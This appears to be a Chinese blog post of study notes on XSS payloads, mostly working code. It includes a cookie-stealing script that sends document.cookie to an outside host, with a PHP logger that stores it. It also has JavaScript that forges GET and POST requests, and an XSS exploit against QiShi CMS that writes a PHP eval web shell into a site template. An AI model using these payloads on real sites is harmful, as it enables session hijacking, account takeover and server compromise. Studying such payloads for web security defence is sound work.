zoukankan      html  css  js  c++  java
  • xss payload

    xss payload可以使用富客户端文本书写,大多数用javascript,少部分用actionscript等等。

    1.盗取cookie,发起cookie劫持

    使用xss漏洞插入cookie.js

    cookie.js代码:

    1 var img = document.createElement("img");
    2  
    3 img.src = "http://lanu.sinaapp.com/cookie.php?cookie="+escape(document.cookie);
    4  
    5 document.body.appendChild(img);

    cookie.php代码

    1 <?php
    2  
    3     $file = fopen("cookie.txt","a");
    4  
    5     fwrite($file,$_GET['cookie']);
    6  
    7     fclose($file);
    8  
    9 ?>

    2.构造GET和POST请求

    get.js代码:

    1 var img = document.createElement("img");
    2  
    3 img.src = "一个可以使用的get请求链接";
    4  
    5 document.body.appendChild(img);

    post.js代码:

    代码1:(DOM节点方式)

    01 var f = document.createElement("form");
    02  
    03 f.action ="";
    04  
    05 f.method = "post";
    06  
    07 document.body.appendChild(f);
    08  
    09 var i1 = document.createElement("input");
    10  
    11 i1.name = "xxx";
    12  
    13 i1.value = "xxxx";
    14  
    15 f.appendChild(i1);
    16  
    17 var i2 = document.createElement("input");
    18  
    19 i2.name = "aaa";
    20  
    21 i2.value = "aaa";
    22  
    23 f.appendChild(i2);
    24  
    25 f.submit();

    代码2:

    1 var dd = document.createElement("div");
    2  
    3 document.body.appendChild(dd);
    4  
    5 dd.innerHTML ='<form action="" method="post" id="xssform" name="mbform">'+'<input type="hidden" value="xxxx" name="xxx" />'+'<input type="text" value="aaaa" name="aaa" />'+'</form>';
    6  
    7 document.getElementById("xssform").submit();

    代码3:(使用XMLHttpRequest)

    01 var url = "http://lanu.sinaapp.com";
    02  
    03 var postStr = "aaa=aaaa&xxx=xxxx";
    04  
    05 var ajax = null;
    06  
    07 if(window.XMLHttpRequest)
    08  
    09 {
    10  
    11     ajax = new XMLHttpRequest();
    12  
    13 }
    14  
    15 else if(window.ActiveXObject)
    16  
    17 {
    18  
    19     ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本
    20  
    21 }
    22  
    23 else
    24  
    25 {
    26  
    27     return;
    28  
    29 }
    30  
    31 ajax.open("POST", url , true);
    32  
    33 ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    34  
    35 ajax.send(postStr);
    36  
    37 //ajax.open("GET", url, true);
    38  
    39 //ajax.send(null);
    40  
    41 ajax.onreadystatechange = function()
    42  
    43 {
    44  
    45     if(ajax.readyState == 4 && ajax.status == 200)
    46  
    47     {
    48  
    49         //alert("Done!");
    50  
    51     }
    52  
    53 }

    -------------------

    3.xss钓鱼

    4.浏览器识别和用户安装软件识别

    http://www.thespanner.co.uk/2009/01/29/detecting-browsers-javascript-hacks/

    5.css history hack

    http://ha.ckers.org/weird/CSS-history-hack.html

    读《白帽子讲web安全》笔记

    ---------------------

    xxs payload getshell 实例:

    骑士cms getshell

    01 //构造好的能写入一句话的连接
    02  
    03 var Shelldata='tpl_content=%3C%3Fphp%20eval%28%24_POST%5Bxdxd%5D%29%3F%3E&tpl_dir=default&tpl_name=footer.php&del_Submit=%B1%A3%B4%E6';
    04  
    05 try
    06  
    07 {
    08  
    09 //调用XMLHttpRequest
    10     var xml = window.XMLHttpRequest ? (new XMLHttpRequest()) : (new ActiveXObject('Microsoft.XMLHTTP'));
    11  
    12     xml.open("POST",'admin_templates.php?act=do_edit',false);
    13     xml.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    14     xml.onreadystatechange = function()
    15     {
    16         if(xml.readyState == 4)
    17  
    18         {
    19  
    20         }
    21     }
    22     xml.send(Shelldata);
    23 }
    24 catch(e)
    25  
    26 {
    27  
    28 }
  • 相关阅读:
    前端html--position,旋转变换
    前端html--背景,文本,过渡效果属性
    前端html--margin,border,padding,盒模型
    前端html--css样式选择器
    前端html--超链接,表格,表单属性
    jQuery 中的事件绑定
    JavaScript简单了解
    private,protected,public和default的区别
    html基础和CSS选择器
    JSP小结
  • 原文地址:https://www.cnblogs.com/milantgh/p/4241267.html
Copyright © 2011-2022 走看看